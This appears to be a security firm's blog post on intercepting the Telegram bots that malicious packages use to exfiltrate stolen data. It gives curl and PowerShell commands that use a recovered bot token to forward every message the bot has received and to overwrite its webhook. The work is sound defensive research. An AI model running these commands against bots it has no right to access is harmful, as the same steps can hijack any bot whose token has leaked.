Key Points
It is not uncommon for attackers to publish malicious packages that exfiltrate victims’ data to them using Telegram bots. However, what if we could eavesdrop on what the attacker sees? This blog will demonstrate exactly that.
Infiltrating The Attacker's Telegram Bot - Step by Step
In this example, we have a malicious package containing obfuscated info stealer malware. From this package, we were able to extract the Telegram bot details used by the attacker.
For this demonstration, there are two important parts of the link that we need: the attacker's bot token and the attacker's chat ID.
The first step is to use the initial part of the link with the bot token in the following command:
Format: curl “https://api.telegram.org/bot{bot-token}/getMe”[YG1]
This command will confirm if the bot is active and provide important details, such as the bot's username, which in this case is "trakinho_bot" which we can then use to search for the bot on Telegram.
The next step is to input the same command in the CLI, but this time with /getUpdates at the end. This step is crucial, as it will provide us with two important pieces of information:
This next step is not necessary, but it can serve as a good way to test if we can forward past messages to this bot. To do so, we will use the following command with the specified variables:
curl -Uri "https://api.telegram.org/bot{attacker_bot_token}/forwardMessage" -Method POST -ContentType "application/json" -Body '{"from_chat_id":"{attacker_chat_id}", "chat_id":"{my_chat_id}", "message_id":"{message_id}"}'[YG2]
When running this command, we may encounter an error indicating that the message cannot be found, but no worries. In such cases, we may just need to try different, lower-numbered message IDs to find one that works.
Once a message ID that works is found, we will be able to see the forwarded message in our telegram account.
Finally, to loop through all the messages the bot has received and forward them to us, we use the following command:
1..2170 | ForEach-Object { Invoke-WebRequest -Uri "https://api.telegram.org/bot{attacker_Bot_Token}/forwardMessage" -Method POST -ContentType "application/json" -Body ('{"from_chat_id":"{attacker_chat_id}", "chat_id":"{my_chat_id}", "message_id":' + $_ + '}') }[YG3]
The command will iterate through all the messages, from message ID 1 to, in our case, 2170, and forward them to the telegram bot, and once executed, we will see now all the messages the bot has ever received being forwarded to our Telegram account.
Disrupting Attack's Telegram Bots Using Webhooks
In some cases, attackers utilize webhooks to redirect messages from Telegram, making it difficult for us to monitor their Telegram messages.
As shown in the image below, the attacker is forwarding the messages of their bot to the following address: “hxxps[:]//a7d8a278870ff9da6427af6d9dfaa3d9.m.pipedream[.]net”
In this case, we have a couple of options available:
curl -F "{your-webhook}" https://api.telegram.org/bot{telegram_bot_token}/setWebhook
Impat
By employing the tactics mentioned above, we successfully intercepted attackers' Telegram bots from dozens of malicious packages. As a result, we were able to identify details of over 2000 unique machines. In many instances, we even discovered files containing exfiltrated sensitive data that had been exfiltrated from these machines and were still accessible. This showcases the significant success achieved by the attackers through their utilization of Telegram bots within malicious packages.
Conclusion
In this blog, we have thoroughly examined a technique for infiltrating attackers' Telegram bots as a means of gaining valuable insights into their activities. By leveraging access to an attacker's Telegram bot API and employing a set of straightforward commands, we were able to establish a seamless mechanism for forwarding all messages from the attacker's bot directly to our own Telegram account.
It is important to note that the primary objective of this blog is to serve as an educational resource, offering valuable insights into the workings of attackers' Telegram bots and shedding light on the methodologies employed in their infiltration.